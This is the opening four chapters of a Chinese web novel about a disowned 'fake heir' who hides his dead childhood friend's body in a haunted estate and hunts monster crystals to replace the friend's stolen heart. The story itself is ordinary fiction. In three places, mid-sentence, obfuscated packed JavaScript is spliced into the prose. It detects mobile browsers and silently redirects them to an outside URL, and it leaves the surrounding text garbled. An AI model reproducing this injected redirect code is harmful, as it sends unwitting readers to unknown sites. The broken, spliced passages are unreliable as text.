《死去的竹马怎么成了反派BOSS》 1. 他死了 今年入春后,N市的雨就没停过,可偏偏今天艳阳高照。 也不知道是老天可怜这人死得太年轻,还是生怕他变成厉鬼,要他赶紧的魂飞魄散。 当视线触到那冰冷的石碑上的照片时,江时触电般撇开眼。 葬礼现场来人不多,甚至显得有些冷清。 毕竟言扉父母早已去世,也没什么亲戚,就连这场葬礼都是好友们商量着办的。 江时觉得无所谓,但江瞬和黎钺认为葬礼太冷清了不好,联系上了他从前的同学和老师,希望他们能来送言扉最后一程。 言扉脾气向来温和,上学时人缘极好,就算实在抽不出时间来参加葬礼的,也托人帮忙送上了哀悼的白花。 “江时?”站在他身后的江瞬身材瘦削,看起来身体不太好。 “嗯。”江时垂着眼,却不像其他人那样满面哀思悲痛,面无表情的样子甚至显得有些冷血。 可江瞬却不敢放松,一错不错紧张地跟着江时。 但那紧张有些奇怪,似乎并不是在担忧江时,而是在……戒备? 江瞬和时不时瞥过一眼的黎钺目光中甚至带上了一丝警惕,就好像他是一只刚失去束缚,随时有可能暴走的怪物似的。 “我又不是真的疯子,也不用你们这样看着我。”江时抬起头,冷白的肤色和过分平静的神色让他看起来像是一尊应该被摆在展示橱窗里的昂贵精致的白瓷人偶。 江瞬沉默下来,没接话茬。 两人从小性格不合,名义上还是亲兄弟的时候关系就不算亲密,如今江时的真实身世曝光,他们就更没什么可说的了。 他们就维持着这诡异的气氛继续沉默。 看着那个黑色的盒子被泥土埋入地下,江时依旧毫无反应,好像死去的那人不是和他从小一起长大的竹马,而是某个无关路人。 黎钺下意识看了眼江瞬,两人表情是如出一辙的凝重——江时的反应,太不对劲了…… 整个葬礼过程,除了江瞬和黎钺主动找他外,江时几乎一句话都没说。来参加葬礼的他一个都不认识,唯一的交集是言扉,但江时觉得自己并不想和人谈论关于他的任何话题。 那会让他觉得他和他们认识的言扉压根不是一个人。 坚决拒绝了江瞬和黎钺送他回去的提议后,江时叫了辆网约车自己先离开了。 离开墓园后,有人忍了一路终于忍不住,戳了戳身边的老同学:“诶,你们听到没有,那两个人,叫江时和江瞬啊。” “听见了听见了,我靠,会不会就是江家那个……” “肯定是,不然哪有这么巧的事,我靠,刚才毕竟……不好谈这事,我还以为只有我想到了呢。” 有人好奇地凑过来:“你们打什么哑谜啊,什么江家?” 那人不可置信道:“前段时间闹得这么大,你都没听说吗?” “在网上挺有名的咱们N市一个很有钱的豪门,姓江的,据说是江老总病了,需要骨髓移植还是怎么样,结果做配型的时候发现他养了快二十年的儿子根本不是他亲生的!江老总一怒之下彻查,才知道居然是隔壁床眼红他们家产,买通了护工偷换了孩子!” “我靠,不是吧!” “不止呢,真少爷后来还被人贩子拐卖了!” “啊,那也太惨了吧。”几人都同情起了故事里那个无辜被迫害的真少爷。 “那刚才那个江瞬刚才怎么还对那个假货那么好脸色?”有人忿忿不平,“那可是害他亲弟弟受了那么多年苦的罪魁祸首啊!” “也不能这么说吧,毕竟孩子又没决定权啊。” “那又怎么样,这么多年了,他不还是既得利者吗,难道不该骂?” “而且江家老总可是公开和他断绝关系了,啧啧,骂得那叫一个难听啊,也不知道那假货究竟造了什么孽,让人家那么恨他。” “什么样的父母生什么种,人贩子偷货的孩子就算塞进豪门长大也还是一样上不得台面。” “也没这么过分吧,我记得以前江老总在网上晒过不少小儿子的奖项之类的啊。” “你还真信啊,”有人说得信誓旦旦,“都是作弊抄袭来的,这么大个豪门每个月给的零花钱都几百万,还雇不起几个枪手?” “就是,一个鸠占鹊巢的假货,难不成还真凭自己本事拿的奖?” “那江家也太冤了,这些年得给他花了多少资源啊……” …… 江时百无聊赖地支着下巴看窗外的风景,对自己又被人背后蛐蛐的事一无所知,也并不在乎。 他的真实身世曝光是在三个多月前,比起那些收了江家钱办事的人和被舆论煽动的无关群众为了素不相识的真少爷“主持公道”的各种行为,他们只是背后蛐蛐两句而已,简直不要太有素质。 司机见人是在墓园上的车还穿着黑色正装,很有眼色地安静没开口,但反复确认了几遍目的地后,还是没忍住。 “小伙子啊,你是不是搞错目的地了?” 江时抬起头,慢吞吞地开口:“没错,岸边路幸福小区。” “帅哥你不是外地来的吧,叔跟你说啊,这小区打二十多年就没人再敢去了,不吉利啊,”司机就差没当面问江时是不是被人骗了,“别说叔迷信,你随便找个年纪大点儿的本地人打听,N市当年房价都快涨翻天了这地都没人敢接手啊!” “我知道。”江时面无表情地歪了歪头。 见这年轻人执意作死,司机一咬牙还是把人载到了路口。 “小伙子,就送到这儿哈!”看到路口布满红褐色锈迹的路牌,司机忍不住幻视昨天晚上恐怖片里干涸的人血。 “谢谢。” 江时刚下车,司机大叔脚下就狠踩油门,眨眼间没影了。 对这种反应,江时已经习以为常,熟门熟路地往小区走去。 老旧小区的四周早就筑起水泥墙,像是生怕还有不信邪的溜进去,江时熟练地避开沿途所有的监控摄像头,找到了一处隐蔽的墙角。 “叩叩。”江时伸手敲了敲灰色的墙体,接着毫不犹豫地往前走去—— 墙面一层层飞速剥落,红砖水泥粉碎成末后坠落,形成一个可供人穿行的通道。 等江时进入小区后,身后的墙面宛如倒带般,那些堆在地上的粉尘又回到原处,一眨眼的功夫,墙面就完好无损。 幸福小区当年在本市就定位尴尬,地段一般,施工期就发生了好几起事故,开发商花了大价钱搞公关,才把房子卖出去。 结果业主们入住才不到一年,各种意外接连不断,几乎是到了每个月都要出次人命的地步。 这状况实在吓人,没过多久能搬走的住户都搬走了,买下的房子想降价转手都卖不出去。 只有少部分头铁或买房已经掏空积蓄的咬牙不搬,但最终要么送了命,要么还是被吓跑了。 后来好几次上面想要拆迁重建,却也因为各种原因不了了之。 过了这么多年,这老旧小区就只剩下各种恐怖的城市怪谈还在流传。 不过对江时来说,这里只是他和言扉从小的秘密基地。 关于究竟是怎么找到这种邪门的地方的,大概是因为当时的年纪太小,两人相关记忆都已经模糊不清。 可能是因为小孩子还没有对死亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664959|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和危险的清晰概念,他们只觉得好玩儿,对于旁人来说诡谲恐怖避之不及的地方,却是两人小时候的探险乐园。 直到长大后听说这里的传言,他们也只是唏嘘了两句自己命大,然后继续时不时跑来找死……啊不,玩耍。 这种想法显然不是正常人该有的,江时在心里稍稍感慨了一下。 虽然江光满嘴屁话,不过有一句话确实没骂错,他貌似确实是个怪物。 小区内的绿化因为无人打理,早已被杂草占据,就连建筑物的墙面也开裂剥落,江时目标明确地进了七栋2单元门。 明明是废弃许久的小区,江时刚走到电梯前,门却立刻开了,这反应速度甚至能看出几分谄媚的意味。 “叮——” 电梯到达四楼打开,楼道里两道相互撕咬的黑影闻声停下厮杀的动作。 除了畸形扭曲的脑袋和四肢外,他们已经完全看不出人形了,一个脖子像是橡皮泥似的伸长,另一个则脑袋“嘎啦”旋转180度,看向这位不速之客,咧开嘴露出一个贪婪丑陋的笑容,腥臭的涎水自细密焦黄的齿间滴落。 江时凉凉地抬起眼看向打得四肢乱飞的两位。 “滚。” 对面显然不打算买江时的帐,连自己被打飞的肢体和刚才打得你死我活的对象都顾不上,垂涎地看向面前的活人。 一阵轻微又诡异的声音响起,像是老鼠之类的动物迅速爬过,江时闻声抬头。 那诡异的生物以一种正常人类绝对做不到的姿态倒挂着,“它”有着黑色的长发,鲜红的嘴唇,石灰一样惨白的皮肤和身上的布料浑然一体,四肢以不正常的角度弯折,像一只壁虎一样攀着天花板,几乎以一个折叠脖颈的角度仰起脸,嘴角夸张地咧到了耳根…… 半分钟后,楼道里除了“它”和江时外,只剩下一堆逃跑时顾不上捡走的器官残肢。 江时:“把他带回来了?” “它”老老实实地点头,张开嘴发出了奇异的声响。 “有人在你之前就想偷换尸体?”江时动作一顿,“是谁?” “它”摇摇头,表示不认识。 算了,现在还有更重要的事要做。 江时绕过那一地马赛克,掏出钥匙打开已经生锈的房门,而“它”就老老实实跟在他身后。 门后的房间很干净,完全不像是长久没人住过的样子,明明没开空调,温度却堪比冷库,显然是“它”做的。 客厅中央的位置被小心地铺了好几层干净崭新的白色被单,上面躺着一个双目紧闭的年轻男人,年纪不过二十出头,相貌温润俊秀,唇角天生微微上扬。 温和有礼,宽容谦逊——就像那些人认为的那样。 本该在昨天就被火化,刚才才举行完葬礼的言扉,现在却安然躺在纯白的被褥上,表面看起来甚至完好无损。 如果不是皮肤已经开始出现浅淡的尸斑的话,看起来就像是睡着了而已。 江时伸手戳了戳言扉毫无血色的脸:“醒醒,你睡好久了。” 等了许久,安静阖目的那人却依旧毫无声息。 “醒醒。”江时皱起眉推了推他的肩膀。 “……”又等了好久,江时的神情逐渐变为疑惑茫然,“言扉,醒醒……” 为什么,怎么没有醒过来? 半晌,像是反应过来了什么,江时不可置信地伸手,颤抖着按在了言扉心口处。 “心脏呢……”他的声音微微发颤,不知是因为寒冷还是愤怒。 江时抬起头,那双漂亮却总是充满疏离的眼睛里,此刻震惊与杀意交织。 “他的心脏呢?!” 2. 好像还没彻底死完 幸福小区内,7号楼2单元403。 江时的身体毕竟还算是个普通人,扛不住这低温,让“它”替他回家取了一套羽绒服和取暖设备过来,江时自己则待在房间里一整天都没离开过。 言扉身上穿的是之后被换上的全新干净的实验室工作服,心口位置被缝合过,断裂的肋骨也被钉上了,江时乍一看才没能发现端倪。 除此之外都是些不致命的擦伤和割伤,看来要了言扉命的就是那贯穿胸腔的伤口。 那人不仅杀了言扉,还挖走了他的心脏。 言扉工作的研究所以保密为由,只告诉他们言扉是因为意外去世的,可什么意外会生生剖走一个人的心脏? 他们在隐瞒什么? “你能找到那个想偷言扉尸体的人吗?”江时看向“它”。 言扉尸体的存放地点,就算是“它”想溜进去都很困难,那些想要偷走言扉尸体的究竟是谁? “它”仰起脸,露出总被头发遮住的眼眶,张开鲜红的嘴唇,“它”的眼眶和口腔内居然空无一物。 “……你是跟着他们回N市的?”江时抬头,那双漂亮的眼睛里杀意浮现,“他们现在在哪里?” “它”安静了半晌,小小声“呜呜”了几句——“差点被发现,就逃走了。” “是吗……” 江时面无表情地盯着言扉胸膛处的缝合痕迹。 “它”张开嘴,发出奇异的音调,像是在安慰江时。 “你说得对,”江时的表情稍微放松了些,“他们不重要。” 比起让言扉醒来,其他都不重要。 江时半跪着伸手碰了碰那双温柔眉眼上凝固的白霜,垂着眼喃喃自语:“他需要一颗新的‘心脏’……” “小苏,阿毛。” 短暂安静后江时突然开口,接着一声物体落地声响起。 浑身血红穿着洋装的小女孩从里面的房间走了出来,看起来不过五六岁,如果不是脖颈只剩下露出狰狞血肉和森森白骨的一道断口,应该会很讨人喜欢。 在她身后是一个五官被黑色丝线缝住,手脚关节也被漆黑的钉子穿过的男孩。 “它”看到两个小家伙,不知从哪儿掏出两朵小红花折纸,一人一朵递给他们后就离开了。 刚才落地的声音是小女孩本该待在空荡脖颈上的脑袋,那颗小小的脑袋骨碌骨碌滚了好几圈,脸朝地面委屈地哭了起来,不知是泪还是血的鲜红色液体从眼眶中源源不断地流出,把地板染成了凶案现场。 江时起身捡起那颗小小的脑袋,顺手把她辫子上有些松开的蝴蝶结系紧,然后递回她怀里:“不要偷听别人说话,也不要弄脏地板!” 幸好室内温度低到滴水成冰,否则他还得把地板拖干,免得血泪沾到言扉身上。 小苏和阿毛“哒哒”跑到言扉旁边,着急地拉起他的手晃晃,见言扉没有醒来的迹象,纳闷又沮丧地扭头“看”向江时。 他垂眸看向小苏和阿毛:“以前说过的约定还记得吗?” 阿毛蹦蹦跳跳凑近江时,牵住了他左边衣角晃了晃,小苏则凑到他右边,扯住另一边衣角,另一只手里抱着的小脑袋上,黑白分明的大眼睛忽闪忽闪。 “出了小区后,不许主动伤害其他人,不许被人看见,不能离我太远。”江时没管自己染上血迹的衣角,轻轻拍了拍他们的肩膀示意松开。 阿毛用力点头,小苏举起手里的脑袋,也用力做出点头的样子。 “很好。”江时摸了摸阿毛和小苏的头。 接着他蹲下身,伸手不满地用力戳了言扉的额头好几下:“啧,你真是麻烦死了,醒过来之后得记得啊,欠了我好大的人情呢。” 言扉阖眼安静睡着,不发一言。 他刚走出房门,手机上就弹出了消息提醒。 【江瞬:江成辉的肾脏配型成功了,不过江光还是没找到那尊翡翠佛像,估计又会找上你,小心他们来硬的。】 像是为了印证江瞬的说法,下一秒江时就收到了陌生号码发来的短信威胁。 【乖乖把翡翠佛像交出来!否则信不信我让人砍了你的手脚!】 这个语气和街头混混般的威胁方式显然不是江光,好歹年轻那会儿能被柳小姐看上,虽然可能有当年柳小姐年少无知的因素,但至少证明相比于其他江家人他还没抽象到那份上。 至于江成辉,江时猜测可能是隔代遗传的缘故。 这位真少爷在回到江家后并没有像预想中那样过上万众瞩目的豪门生活,于是认定是因为江时抢了他的人生,害他没能在江家长大才不受重视,把体弱多病的大哥江瞬当做假想敌,铆足了劲想要讨好江光,抢回他眼中本该属于他的江家继承人的位置。 不管是之前针对江时的网暴造谣还是线下霸凌,这位都出了不少力。 江时淡定回复:【只要你不介意我再报一次警的话。】 虽然这货每次动手都挺干净,但可惜的是江时有挂,收集证据并不算太困难,攒了几次后一股脑报警了,要不是江光嫌丢人捞了他,少说得拘留十天半个月的。 被瞬间猜出身份又提起丑事,对面的江成辉恼羞成怒,接连发了几十条辱骂短信过来,基本上都是杂种、偷货、人贩子的贱种之类的词汇。 江时被骂了好几个月都快免疫了,动动手指把这个陌生号码也拉黑了。 其实江时并不讨厌他,倒不是愧疚,只不过上次他报警后为了让他同意签谅解书,江光不得不捏着鼻子赔了江时一笔的精神损失费。 既能拿钱还能让江家不爽,那江时就爽了。 至于翡翠佛像,江时觉得这对他纯粹无妄之灾。 狗血豪门真假少爷剧情会流传这么广,当然不止是因为江光觉得自己养了假儿子。 大概三十年前,柳家在A市如日中天,但掌舵人柳总英年早逝,只留下个体弱多病的女儿继承了公司和巨额遗产。 江光的父亲和柳总生前有些交情,在对方死后贪图柳家家产,凭借儿子一张好脸和费尽心机的谋划成功傍上了柳小姐。 当年柳小姐刚过世,葬礼都还没来得及办,江家就迫不及待地原形毕露。 虽然二人做了婚前协议和财产公证,但江老爷子认为有两个孙子在手,柳家的产业一定是他的掌中之物。 但还没等江家的人扬眉吐气够,就得知柳小姐生前留下了遗嘱,将所有财产全部无偿赠与国家,两个儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664960|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子则一人分到五百万和A市一套房子,足够他们下半辈子衣食无忧。 谋划了快十年却竹篮打水一场空,江光他爹当场气得中风,至今半身不遂在疗养院住着。 江老爷子倒了,而江光本来就天资平庸,碰壁几次后带着江家又灰溜溜回到了N市,前两年冒险投了个大项目打算赌一把,结果亏得个血本无归。 再加上这几年公司业务面临市场份额缩减和产品落后被淘汰等问题,要是再没有转机,破产也是早晚的事。 就在这个档口,他们不知从谁口中听说一个消息——柳总生前曾送给女儿一尊足有一米高的翡翠佛像,佛像捧着的莲花更是由一块玻璃种翡翠雕刻,而这尊佛像并没有出现在柳小姐的遗嘱中。 最重要的是,这东西是叶家老爷子在柳总生前卖给他的,但这两年老爷子不知怎么又后悔了想找回来。 要是能搭上叶家,别说摆脱目前的困境了,甚至达到当年柳家在A市的地位也不是不可能。 于是江家疯了似的想从江时手里抠出那尊翡翠佛像来。 江时觉得他们简直不可理喻,柳小姐去世的时候他才三岁,要怀疑不也是怀疑江瞬吗? 但江家一直坚定认为翡翠佛像被留给了江时,不过他早就搬出江家,这群人被他拉黑了一圈后也没法再烦到他了。 可在那之后不久,江时身世曝光了,原本碍于柳家故交不敢太过分的江家就肆无忌惮起来。 江光甚至直接表示,除非江时交出佛像,否则以江家的能量,完全可以让江时前程尽毁,让业内所有叫得上名字的公司都不敢聘用他,。 不过其他的江家人似乎不像江光一样对江家能量自信,在那之后花了大价钱在网上散布虚假消息——说江时骄奢淫逸品性低劣,吃喝嫖赌无恶不作,从小到大都是靠作弊拿的高分,能进S大都是靠江家捐楼云云。 甚至就连他们S大表白墙都没放过,江时都快成常驻嘉宾了。 仅江时知道的,他已经始乱终弃了七个女友,逼迫其中两位自杀,四位堕胎,还有个退学的,说得煞有其事,甚至还有好几个怀疑对象。 他干脆在校园论坛挨个找出那些恶意造谣其他女生的帖子,一个个骂到他们破防删帖,于是在论坛上惨变骗婚GAY。 不仅如此,江家担心单纯舆论压力没法让江时被逼退学,上学期末考的时候,偷偷往他座位底下塞纸条手机诬陷他作弊的就有五次,其中三个还是同一场考试。 所幸S大监控够给力,没让他真的被记作弊。 但就这样掉价恶心人的下作手段,江家似乎乐此不疲,可能是某种家学吧。 也不知道柳小姐当年究竟是怎么同意嫁给江光的,颜控真的可以让人盲目到这种地步吗? 至于江瞬说,他们可能来硬的…… “阿毛,小苏?”江时毫不在意地敲了敲身后的墙面。 两个被斗篷包得严严实实的小身影从江时的影子里钻了出来。 阿毛戴着精致可爱的小动物面具,遮住了自己被缝住的五官,小苏把脑袋放回了脖子上,但她显然不太舒服,时不时就伸手拨弄一下。 江时帮她扶正了脑袋,微笑着开口:“出发吧。” 3. 你说谁是圣父?? 晚上十一点半,N市某地铁站。 “唉,烦死,这不是第十三组的辖区吗?”黎钺郁闷极了。 前几天他刚从言扉葬礼上回去就接到通知,原来言扉的尸体早被人偷换了扣下来,想要做某些违反调查局明文规定的研究。 言扉就是个普通人,他的尸体能有什么研究价值? 黎钺正打算冲到H市找罪魁祸首算账,却得知尸体当晚又被偷走,凶手带着尸体绕开了整个调查局的安保系统。 整个H市整个分局都差点疯了,扣押尸体的主要责任人一组组长叶其峰被停职等待调查,整个一组都被暂停一切行动,技术部也不眠不休熬了好几天升级安保系统。 他好不容易抢到和四组组长白杨一起调查言扉尸体被盗事件的机会,结果十三组人手不够,而他又恰好在N市还没离开,于是又被抽调来救火。 七组副组长菲菲是个个子娇小,相貌文静的女生。 “老大,根据之前受害者和目击者的证词,‘白泽’判断这个地铁站的异变在C级左右,午夜十二点左右出现,出现伤人杀人记录,可就地无害化处理。” 异变——作为二十年前突然出现的一种由人类尸体变异的怪物,拥有强大的杀伤力。 低级的异变基本上都没有理智且性情暴虐,极少数高等级的异变则更加强大拥有智慧,甚至能够使用一些特殊能力。 虽然是由人类死后变成的,但基本上所有异变都对人类非常厌恶,有些甚至干脆以人为食。 而他们调查局的工作就是根据“白泽”的判决,抓捕并控制异变的活动范围,并杀死危害社会安全的异变。 黎钺环视四周:“确认已经彻底封锁地铁站了?” “是的,已经做好了人群疏散和封锁……” 话音未落,一道惨烈的嘶吼声响起,瘦如骷髅的黑影从远处冲了出来。 那东西长得有些许像人,但更像是竹竿上套了层蜡黄枯瘦的皱巴人皮,脸上萎缩的五官就像是被粗钝的刻刀随意划了几笔,滑稽又劣质。 此时它的腹腔不知为何血淋淋的裸露在外,里面都是已经被半消化的人类尸块和残肢,甚至有一只被消化得露出白骨的手垂落在外,随着它逃窜的动作晃荡着。 黎钺和菲菲这次没打算自己出手,主要是来镇场加磨练组里新人的,此时却露出了凝重的神色。 不对,这异变已经受了重伤…… 几个新人第一次见实战场面,险些被恶心得吐出来,虽然行动有些生涩,配合默契不够,但一番艰难缠斗后还是成功抓住了异变,给自己做好了心理建设打算动手。 就在这时,一根黑色丝线不知从哪儿飞了出来,直接刺穿异变的心脏,从中掏出了一块小指甲盖大小的灰色晶石,“咻”地不见了。 这种晶石就是感染源,越是高级的异变感染源越是通透漂亮。无保护接触的人绝大部分都会因为它散发的辐射导致高烧不退,严重些的甚至器官衰竭。除此以外,它们会挑选并侵染碰到的人类尸体,让死去的人变成异变生物。 而此时随着感染源离体,被制服的C级异变瞬间消散。 “追!” 黎钺立刻确认了这是另一个异变动手,于是没有第一时间切断丝线,而是打算跟着丝线找到异变本体。 —— “……” 黑色的丝线缠着一块灰暗的晶石,摇摇晃晃飘到了一个高挑的人影面前。 一只白皙修长的手捏起那块不甚漂亮的小玩意儿,另一只摊开脑袋掌心上躺着三块更小一些,颜色也更斑驳的晶石,而那块刚拿回来的晶石被他拿着,没一会儿颜色也变得更加斑驳,体积也变得和其他几块差不多。 “啧。”江时失望地叹了口气,他身边站着两个裹得严严实实,戴着精致可爱的儿童面具的小孩子。 他们花了三天到处找,结果都是些杂鱼,一个能用的都没有。 小苏和阿毛也沮丧地垂下头。 “不着急。”江时安慰地拍了拍他们的头,要是能这么轻易找到他还费什么劲,小区里随便抓一个就行了。 突然听到有人靠近的声音,江时熟练地把手里的几颗灰色晶石分给他们,“有人来了,你们先躲远一点儿。” 小苏和阿毛接过晶石,退入江时的影子里不见了身影。 “江时?你怎么在这儿?”异变的气息不见了,黎钺疑惑地看着大晚上不在家里不睡觉,坐在公园门口长椅上吹风的江时,下意识警惕起来。 江时看到来人居然是黎钺,又看见后面同样穿着作战制服全副武装的一群人,恰到好处地露出一丝震惊:“我晚上睡不着出来吹吹风,你们这是——执行任务?” 黎钺对他们的说法是大学毕业后当了警察。 临时扯谎不靠谱,黎钺干脆懒得解释:“别多问,你刚才有没有看见什么人或者长得比较奇怪的东西跑过去?” “你们真是辛苦了,”江时钦佩地赞叹了一句后,毫不犹豫地摇摇头:“一直都只有我一个人在这里。” 幸好这里比较偏僻,大晚上也没什么人闲得发慌出来吹冷风。 副队菲菲通过对讲机确认附近仅有的几个普通人已经被劝离后看向黎钺:“队长,整个公园已经被封锁,我现在去找人调附近的监控?” 那丝线上带着的微弱辐射值到公园就消失了,看来应该是藏在附近,黎钺立刻回到工作状态:“好。” 说完他又扭头看向江时,面色严肃:“江时,附近有危险分子出没,你留在这儿很危险。” 江时非常听话地做了个“OK”的手势,被黎钺手下的组员带着远离了公园。 看着江时远离的背影,菲菲有些困惑:“老大,你朋友?” 黎钺这警惕的样子完全不像啊,不知道还以为那是异变呢。 “嗯,朋友也不耽误这货是个危险分子,”黎钺面无表情吐槽。 “啊……”菲菲不太理解。 “那是你和他不熟,和他打交道得时刻小心,不然不知道什么时候就被坑了,”黎钺想了想觉得自己说的不太准确,“哦不对,他有个从小感情特好的竹马,得例外。” 虽然现在人已经没了。 “为什么?” 黎钺皱眉道:“啧,怎么说呢,那就是个纯圣父,压根没脾气的。” “啊?”这话让菲菲更疑惑了。 “说圣父也不对,”黎钺挠挠头,不知道该怎么形容,“反正这两人各有各的离谱,待在一起简直绝配!” “……” 老大的语文水平真是越来越感人了。 确认附近没有其他人,江时转头就毫不犹豫地找了条巷子钻进去。 老旧的巷子里连监控和路灯都没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664961|172964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,四下都是阴影,浑身被黑色和红色手工斗篷遮住的两个小朋友从黑暗中钻了出来。 小苏的头颅断开太久,已经不适应脖子上顶着脑袋,周围没人就立刻把头抱在了怀里。 江时若有所思地看向阿毛:“刚才过来的那群人是看到你出手了吗?” 阿毛点点头,手脚并用地描述了当时的情况,和自己蹲在旁边及时收回晶石的过程。 听完后江时眉头微皱,敲了敲阿毛的头,语气严厉:“下次遇到这种很危险的人就立刻逃走来找我。” 阿毛的战斗力不算强大,为了一个没法用上的晶石冒这种险没必要。 阿毛心虚地低头认错。 “再有下次的话,小心言扉醒过来后罚你做数学题。” 听到这话,阿毛忍不住打了个寒颤,旁边的小苏则幸灾乐祸地嘻嘻笑出了声。 刚才黎钺和后面跟着的人穿的制服,江时并不陌生,幸福小区周围每周都会有穿着这种制服,自称是调查局的人来巡查,有时还会带着一些他们看不懂的仪器。 这些人对于怪物的态度基本上是赶尽杀绝,江时猜测大概是专门管理怪物相关事件的官方组织。 唯一值得惊讶的,大概是黎钺居然也是其中一员。 “走吧。”江时揉了揉额心,他就向学校请了五天假,本来是想着言扉刚醒过来会比较虚弱,他请假几天照顾对方。 结果出了意外,他还得想办法找到东西替代言扉的心脏…… 要不回去办个休学?反正最近因为江家在网上带节奏带得飞起,他在学校也没法安生上课。休学一段时间,既能给言扉找心脏,还能等江家搞起的这波真假少爷的狗血豪门剧情节奏过去,一举两得。 他简直是个天才。 飞快敲定了接下来的计划,江时打开了已经屏蔽了好几天的班级群和寝室的群聊,班级群里没什么新鲜内容,室友们知道他这几天心情不好,也没打扰过他。 明天不用早八,按照他们平时的作息这会儿大概率没睡,江时顺手在群里发了条消息。 【江时:我明天回宿舍,你们有什么要帮忙带的?】 【秦青:父皇霸气!我要学校南门的浇汁炸鸡腿!】 【孙顾:父皇,儿臣也要!还要一份隔壁摊位的铁板烧,有啥菜要啥!】 【秦青:老孙你买这么多想累死我江爸爸吗?父皇,儿臣要告发姓孙的谋反!】 【孙顾:我靠姓秦的你有病??】 【秦青:呵,太子之争,向来如此。】 【江时:朕春秋鼎盛龙体安康,暂时不考虑立太子,再叭叭都拖下去贬为庶人。】 【孙顾:[震惊][害怕]】 【秦青:[跪地求饶]】 江时懒得理这对活宝,随手回复了几个表情包就收起手机,叫上小苏和阿毛回家。 唉,希望明天能找到几个厉害点的吧。 另一边,得知公园附近监控刚才大半个小时都处于失灵状态的黎钺刚骂完街,又接到了一条来自“白泽”的通知—— “坐标S大发现辐射值异常波动,最高峰已超过安全阀值,辖区负责执行组:十三组,目前状态:无人员可派遣,根据就近原则,由七组针对异常辐射值进行调查。” 黎钺和菲菲:“……” 请问他们七组是犯了什么天条吗? 4. 真见鬼了 “嘎嘎——” 江时才到门口,就听见宛如鸭子惨叫的魔音穿透宿舍门回荡在走廊里。 江时深吸了口气:“开门!” 里面瞬间安静下来,接着宿舍门打开—— 两道矫健的身姿宛如风刮过来,又宛如风刮过去,只留下两手空空的江时在原地无语。 “对了江时,你真打算休学啊?”孙顾把饭菜摆了一桌,又泡了桶方便面,想起昨天群里江时说的。 江时在自己桌子前坐下:“打算先休学一学期。” 秦青和孙顾对于江时的私事并不清楚,以为是因为江家搞的事,想想这段日子江时遭遇的各种霸凌行为,就连他们都心有余悸,休学一段时间完全可以理解。 “你今晚就要搬回去?”孙顾讶异地抬头。 “那倒不是,这周内吧。”江时回答。 秦青小心翼翼地开口:“我认识的一个导演系学长,他原本的场务受伤了,本来拍摄人手就不够,现在急招临时工,你要不试试,一天三百,不过……” “什么时候?”江时立刻抬头看向秦青,一天三百还要什么飞机! 江时初中就离开江家,上高中后就靠自己兼职赚生活费,不过最近江家作祟导致他被辞退了,想找其他合适的兼职也没这么快。 秦青挠挠头:“我和他说一声,今晚过去就行,不过学长拍的恐怖片,所以大部分拍摄时间是晚上……” 江时:“一整晚?” 那些怪物的出没时间基本上也是在深夜。 “也不至于,十二点前还是能收工的。”秦青摆摆手,据说是出要出资人兼本片女主的要求。 江时点头:“那没问题。” “那行,我给他发个消息。”秦青打了个响指。 江时平时对他们挺仗义的,现在兄弟有难,他们当然得帮。 于是当天晚上,江时三人来到了S大废弃已久的教学楼内。 江时疑惑发问:“拍摄场地就在学校?” 不过这栋废弃教学楼常年没有使用,再加上过分空旷的楼内不通电四下伸手不见五指,还真有点儿身处恐怖电影里的感觉。 秦青:“昂,他说有段剧情是在学校里。” 江时再次疑惑:“可你们怎么也来了?” 孙顾嘿嘿一笑:“学长说还差俩龙套,我们就报名了。” “秦青!”一个穿着灰色外套的年轻男人从大门外进来,个子很高但也极瘦,整个人好像就只剩了层皮包骨。 “老姜,这是我的室友,江时和孙顾。”秦青主动帮他们介绍。 打完招呼,他们就跟着姜鹤一起上楼。 姜鹤说:“不好意思啊,我半路发现忘带东西了。” 秦青摆摆手:“没事,我们也刚到。” “那就好,其他人应该都已经到了,”姜鹤看向江时,“江时你待会儿就按照我给你的图纸弄好布景就行,拍摄道具坏了按照我给你的图纸修一下,挺好上手的。” 江时正低着头研究姜鹤给他的布景和道具图纸,闻言点点头:“好的。” 他想到了什么,又抬头看向姜鹤,“这座教学楼不是禁止进入的吗?” 姜鹤:“是这样的,不过我和学校打过招呼拿的钥匙,放心吧。” 走在姜鹤旁边东张西望的秦青像是想起了什么:“老姜你咋个选这儿拍摄呢,这栋楼不是十年前出过事才被废弃了吗?” 这么一说,江时也想起来了,这栋闲置了十多年的教学楼在S大还挺有名的,不过版本太多,他就没当真,也当然没仔细看过。 不过孙顾显然是信了:“我在论坛上看到好多几年前的老帖子都说过,晚上路过的时候亲眼见过这儿闹鬼来着。” 